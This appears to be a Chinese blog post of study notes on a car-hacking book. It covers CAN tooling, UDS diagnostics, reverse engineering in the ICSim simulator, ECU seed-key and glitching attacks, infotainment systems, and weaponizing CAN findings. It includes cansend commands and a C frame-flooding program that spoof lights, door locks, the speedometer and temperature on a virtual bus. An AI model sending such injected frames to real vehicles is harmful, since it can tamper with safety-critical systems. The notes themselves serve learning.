  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>输入ifconfig vcan0就能看到网卡信息</p>
<p>后面介绍了can-utils工具包相关命令，有很多。常用就几个</p>
<p>安装附加的内核模块那里，作者说成书的时候试验性质的模块还未被包含到Linux内核中，要单独编译，但我这里的ubuntu已经是加入内核了</p>
<p>使用 <code>modinfo can-isotp</code> 就能看到信息，但是模块未被加载，需要加载一下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># 加载ISO-TP模块</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">sudo modprobe can-isotp
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># 验证加载状态</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">lsmod <span class="p">|</span> grep isotp
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="c1"># 应该能看到 can_isotp 模块</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>dmesg能看到：can: isotp protocol</p>
<p>模块已加载，且没有错误信息，所以不需要像书里一样，验证can.ko是否加载，我没有编译他，所以验证是报错的</p>
<p>后面一部分是SocketCAN应用程序编程，我跳过了</p>
<p>后面介绍的Kayak貌似与Savvycan功能差不多，都是图形化处理CAN数据包，但是这个工具为什么有个街区地图？只调用地图的can处理程序，为啥界面也有个地图</p>
<h2 id="第4章-诊断和日志">第4章 诊断和日志<a class="anchor" href="#第4章-诊断和日志">#</a></h2>
<p>软故障是间歇性故障，比如油箱盖松动，硬故障是不处理就不消失的故障，所以可以重启车辆看汽车是否重现故障来判断类型</p>
<p>故障有 ABCD 4类，A立即点亮故障灯，B次数够了才亮，C发句消息，通常不亮，D完全不亮</p>
<p>后面是DTC内容，扩展知识</p>
<p>UDS应该算重要内容，为什么这里只是简单介绍？可能成书的时候UDS还未被所有厂家接受</p>
<p>这里补充了一个点，就是消息的响应包CANID是请求包的CANID加0x8，比如0x7df + 0x8 = 0x7e8</p>
<p>服务id加0x40，做CTF就知道了</p>
<p>介绍了caringcaribou</p>
<p>保持诊断模式的代码：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#!/bin/sh
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">while</span> :
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">do</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    cansend can0 7df#013e
</span></span><span class="line"><span class="ln">5</span><span class="cl">    sleep <span class="m">1</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="k">done</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sh</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>或者使用cangen</p>
<p>车上的黑匣子叫做事件数据记录器，简称EDR（奇怪的重名）</p>
<p>以前EDR在安全气囊模块里面，现在分布在每个ECU里，大约能保存任何时刻的前20秒的记录</p>
<p>CDR能插OBD上能访问主ECU数据，被称为车辆数据镜像，如果要访问其他模块数据，要插在对应设备上。</p>
<p>由于数据记录格式不同，CDR都是专用的，非常不方便，所以美国提出了SAE J1698协议，很多车型受这个标准影响，但仍有制造商不遵守这个标准。</p>
<p>自告事告呼救系统，简称ACN，事故发生时，呼叫制造商或第三方。发送的数据各个制造商都不相同</p>
<p>恶意意图就是恶意分子的意图</p>
<h2 id="第5章-can总线逆向工程">第5章 CAN总线逆向工程<a class="anchor" href="#第5章-can总线逆向工程">#</a></h2>
<p>到咯</p>
<p>前面都是工具使用，不过介绍了位掩码</p>
<p>1代表必须是这个数字，0代表任意数字</p>
<p>比如500700表示所有5XX的数值</p>
<p>因为：</p>
<p>500 = 101 0000 0000</p>
<p>700 = 111 0000 0000</p>
<p>所以前面必须是5，后面任意</p>
<p>这里7改成F也行的，也就是用4位二进制数据，但这里不需要，因为这个首字节是5，用二进制表示是101，才三位数，用7就行了，如果是4位数比如1010，那这种要确保精确匹配，就要用F</p>
<p>这也解释了我们之前的candump vcan0,780:780表示了什么</p>
<p>780 = 0111 1000 0000</p>
<p>这个掩码就是匹配CANID是780到7FF之间的数据包</p>
<p>后面介绍了逆向工具，wireshark貌似不太行，还是要cansniffer之类抓包，kayak我不喜欢。</p>
<p>我自己打算装个SavvyCan，居然那么麻烦，比以前麻烦多了。Qt作妖，贴个回答：<a
  href="https://github.com/collin80/SavvyCAN/discussions/992" rel="nofollow noopener noreferrer" target="_blank"
  >https://github.com/collin80/SavvyCAN/discussions/992<span style="user-select:none"> ↗</span></a
>
</p>
<p>另一个人的编译步骤，足足45步：<a
  href="https://github.com/collin80/SavvyCAN/discussions/804" rel="nofollow noopener noreferrer" target="_blank"
  >https://github.com/collin80/SavvyCAN/discussions/804<span style="user-select:none"> ↗</span></a
>
</p>
<p>我的回答，能够安装Qt5，但是SavvyCAN编译居然那么久。。。</p>
<p>居然真能插手柄控制ICSim，不过为什么我要双击按键才能达到动作。否则ICSim会闪烁。</p>
<p>wow，有课后作业了</p>
<blockquote>
<p>请尝试在ICSim中完成以下挑战：</p>
<p>（1）创建“警告灯”信号，令两侧转向灯同时闪烁。</p>
<p>（2）创建只锁定后面两侧车门的命令。</p>
<p>（3）将车速表设置为尽可能接近于220mph的值。</p>
</blockquote>
<p>我都是用SavvyCAN的RE Tools 下面的Sniffer工具，变动的字节会闪烁，以此判断动作对应的字节。两个同时触发就加在一起，比如左转灯是0x01，右转灯是0x02，那么一起亮就是0x03，也就是打双闪。写下答案：</p>
<p>（1）<code>cansend vcan0 188#03000000</code></p>
<p>（2）<code>cansend vcan0 19B#000003000000</code></p>
<p>（3）用上面那个保持诊断会话的脚本吧，试了几次这个刚好停在220，不过老是在0刻度抖动</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">#!/bin/sh
</span></span><span class="line"><span class="ln">2</span><span class="cl">while :
</span></span><span class="line"><span class="ln">3</span><span class="cl">do
</span></span><span class="line"><span class="ln">4</span><span class="cl">    cansend vcan0 244#0000008E00
</span></span><span class="line"><span class="ln">5</span><span class="cl">done</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>使用小技巧，在Sniffer页面，取消全选，然后开门，会出现新的有对勾的CANID，那个就是对应动作的。然后回主页面勾选这个ID，就能看到历史消息</p>
<p>Sniffer页面看持续升高的然后下降的就能分辨出加速数据包</p>
<p>savvycan能够播放数据包和发包</p>
<h2 id="第6章-ecu黑客">第6章 ECU黑客<a class="anchor" href="#第6章-ecu黑客">#</a></h2>
<ul>
<li><strong>前门(frontdoor)攻击</strong>：劫持原始设备制造商(OEM)的访问机制</li>
<li><strong>后门(backdoor)攻击</strong>：使用更为传统的硬件黑客手段</li>
<li><strong>漏洞利用</strong>：发现非预期访问机制</li>
</ul>
<p>前门攻击说的种子密钥应该类似UDS的0x27安全访问算法</p>
<p>有以下方法：</p>
<ul>
<li>通过其他手段获取目标设备的固件。反汇编固件并分析代码，找到生成种子-密钥对的代码。</li>
<li>获取可生成合法种子-密钥对的合法软件工具，例如J2534闪存重刷写工具，并使用反汇编工具分析PC端应用程序代码，判断使用的算法。</li>
<li>观察合法工具交换密钥的过程，并分析数据对来获取其特征。</li>
<li>制作一个设备，欺骗合法工具反复提供响应。相比纯被动方法，该方法的主要优点在于允许选择用于生成钥匙的种子。</li>
</ul>
<p>给了俩网站，大众那个不能访问，通用的可以，是个论坛，要管理员审核后才能批准账号注册：<a
  href="https://pcmhacking.net/forums/index.php" rel="nofollow noopener noreferrer" target="_blank"
  >https://pcmhacking.net/forums/index.php<span style="user-select:none"> ↗</span></a
>
</p>
<p>前门太难，后门攻击也常用</p>
<p>在对任何系统的电路板进行分析时，都应该从体积最大的芯片开始。这些较大的处理器和存储芯片往往也是最为复杂的</p>
<p>逆向汽车固件有点复杂，使用工具，识别运行的芯片之类，这里说两个固件差异十六进制在5%左右能确定是同一个固件，只是参数不同</p>
<p>后面赞赏了一波IDA Pro，看来从IDA Pro诞生开始，就是这个星球上最强大的汇编工具了</p>
<p>后面写了ECU测试平台，一个PC电源一个ECU，有个OBD接口，说可以去垃圾场回收，或者去car-part.com买，但这个网站很贵，只运送到美加墨三国。中国还是闲鱼吧。</p>
<p>获取ECU线路图，给了两个网站：<a
  href="https://www.alldata.com/" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.alldata.com/<span style="user-select:none"> ↗</span></a
>
 和 <a
  href="https://mitchell1.com/" rel="nofollow noopener noreferrer" target="_blank"
  >https://mitchell1.com/<span style="user-select:none"> ↗</span></a
>
</p>
<h2 id="第7章-ecu测试平台的构建与使用">第7章 ECU测试平台的构建与使用<a class="anchor" href="#第7章-ecu测试平台的构建与使用">#</a></h2>
<p>后面没啥意义，都是搭建平台，然后买买买，而且以目前学习来看，用不到那么专业，而且买了不一定搭建成功</p>
<h2 id="第8章-攻击ecu与其他嵌入式系统">第8章 攻击ECU与其他嵌入式系统<a class="anchor" href="#第8章-攻击ecu与其他嵌入式系统">#</a></h2>
<p>根据丝印搜数据手册，google一下就有，国内访问麻烦的就用芯查查网站吧</p>
<p>利用 JTAG调试，或者串行线，串行线主要说的是STM32F4系列，可以用STM32F4 Discoverry套件调试。</p>
<p>旁路分析能绕过许多保护措施，但很贵，而且可能会造成永久性损伤</p>
<p>后面介绍了便宜的一种，chipwhisperer，一千美元，好贵</p>
<p>由于本书出版太早，很多工具可能有了平替，而且对新能源汽车不是完全适用，这里工具部分只浏览，不买。</p>
<p>后面到了故障注入，这个词在yichen的知识库见过，但是没有过多了解</p>
<p>时钟干扰：一切ECU或芯片都需要依靠内部时钟，为其执行指令提供定时。每当微控制器接收到一个时钟脉冲时，将加载一条指令，而在这条指令被解码和执行的同时，下一条指令将被加载。这就意味着需要节奏稳定的时钟脉冲，才能保证指令有充分的时间正确解码执行。但如果其中某个脉冲出现了波动，会有何后果？由于程序计数器(ProgramCounter，PC)有时间递增，但该时间又不足以在下一条指令加载前解码并执行指令，微控制器通常会跳过该条指令</p>
<p>用chipwhisperer演示了一些东西，但对我无用。只能当科普。</p>
<h2 id="第9章-车载信息娱乐系统">第9章 车载信息娱乐系统<a class="anchor" href="#第9章-车载信息娱乐系统">#</a></h2>
<p>通常将汽车的中央控制台触摸屏界面称为车载信息娱乐(In-VehicleInfotainment，IVI)系统。这些控制台一般运行某种操作系统，如Windows CE、Linux、QNX、Green Hills,甚至可以是以虚拟机方式运行的Android操作系统。它们可以支持很多以不同程度与车辆集成的功能。</p>
<p>车载信息娱乐系统提供的远程攻击面比其他任何车辆部件都广。</p>
<p>先是说了利用系统更新进行攻击，改造完如何绕过数字签名校验，就是哈希算法那个，简单的自己生成，自定义哈希又要固件逆向</p>
<p>后面就是确定更新文件类型，改造系统，app之类信息</p>
<p>掌握了如何更新系统后一无论是通过修改启动画面、公司标志、授权信息，还是其他途径—-就已经为寻找系统中的脆弱性做好了准备。下一步如何行动则取决于最终目的。</p>
<p>软件方向打不进去，只能拆硬件了，后面介绍了信息娱乐系统测试平台</p>
<p>GENIVI联盟是推动IVI软件的组织，但是现在已经升级成车联网联盟，官网已经变成 <a
  href="https://covesa.global/" rel="nofollow noopener noreferrer" target="_blank"
  >https://covesa.global/<span style="user-select:none"> ↗</span></a
>
</p>
<p>不过可以使用 GENIVI系统</p>
<p>后面篇幅就是介绍通过docker安装系统</p>
<p>AGL可以从 <a
  href="https://www.automotivelinux.org/" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.automotivelinux.org/<span style="user-select:none"> ↗</span></a
>
 下载，不过他是驱动物理设备的，不过也可以使用QEMU虚拟机的镜像，但是我还不知道怎么搞</p>
<p>又要买车载信息娱乐系统，我都不知道闲鱼买的能不能用，能学多少</p>
<h2 id="第10章-车间通信">第10章 车间通信<a class="anchor" href="#第10章-车间通信">#</a></h2>
<p>这章是成书时的新通信技术，使车辆之间，车辆与路旁设备，车辆与基础设施通信。它是第一个在设计的时候就考虑的网络安全因素的汽车协议。但由于不同国家，不同制造商等等问题，这个技术还在协商。</p>
<p>这章讨论的技术未被落实，纯浏览，而且可能内容还会变</p>
<p>在V2V通信领域，车辆和路旁设备以下面三种方式之一进行交互：现有的蜂窝网络；专用短程通信技术(DedicatedShort-RangeCommunication，DSRC)，这是一种短距离通信协议；或使用多种通信方式的组合。在本章中，将重点关注DSRC，因为它是V2V通信的最常用方式。</p>
<h2 id="第11章-武器化can研究成果">第11章 武器化CAN研究成果<a class="anchor" href="#第11章-武器化can研究成果">#</a></h2>
<blockquote>
<p>“武器化”是指“以某个漏洞利用代码为对象使其易于执行”。在刚发现某个脆弱性时，可能还需要很多步骤和特定知识，才能成功触发对该脆弱性的利用程序。“武器化发现”能让你利用你的研究成果，并把它集成到一个自包含的可执行文件中。</p>
</blockquote>
<p>在本章中，将介绍如何进行黑客行动（例如解锁一辆汽车)，并将其集成到Metasploit</p>
<p>给了一个控制温度的代码清单：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;net/if.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;netinet/in.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;linux/can.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt; //我自己加的头文件，不加无法编译</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="kt">int</span> <span class="n">s</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">struct</span> <span class="n">sockaddr_can</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">struct</span> <span class="n">ifreq</span> <span class="n">ifr</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">struct</span> <span class="n">can_frame</span> <span class="n">frame</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">s</span> <span class="o">=</span> <span class="nf">socket</span><span class="p">(</span><span class="n">PF_CAN</span><span class="p">,</span> <span class="n">SOCK_RAW</span><span class="p">,</span> <span class="n">CAN_RAW</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">ifr</span><span class="p">.</span><span class="n">ifr_name</span><span class="p">,</span> <span class="s">&#34;vcan0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nf">ioctl</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">SIOCGIFINDEX</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ifr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">addr</span><span class="p">.</span><span class="n">can_family</span> <span class="o">=</span> <span class="n">AF_CAN</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">addr</span><span class="p">.</span><span class="n">can_ifindex</span> <span class="o">=</span> <span class="n">ifr</span><span class="p">.</span><span class="n">ifr_ifindex</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="nf">bind</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">frame</span><span class="p">.</span><span class="n">can_id</span> <span class="o">=</span> <span class="mh">0x510</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">frame</span><span class="p">.</span><span class="n">can_dlc</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">frame</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xFF</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nf">write</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">frame</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">can_frame</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nf">usleep</span><span class="p">(</span><span class="mi">500000</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
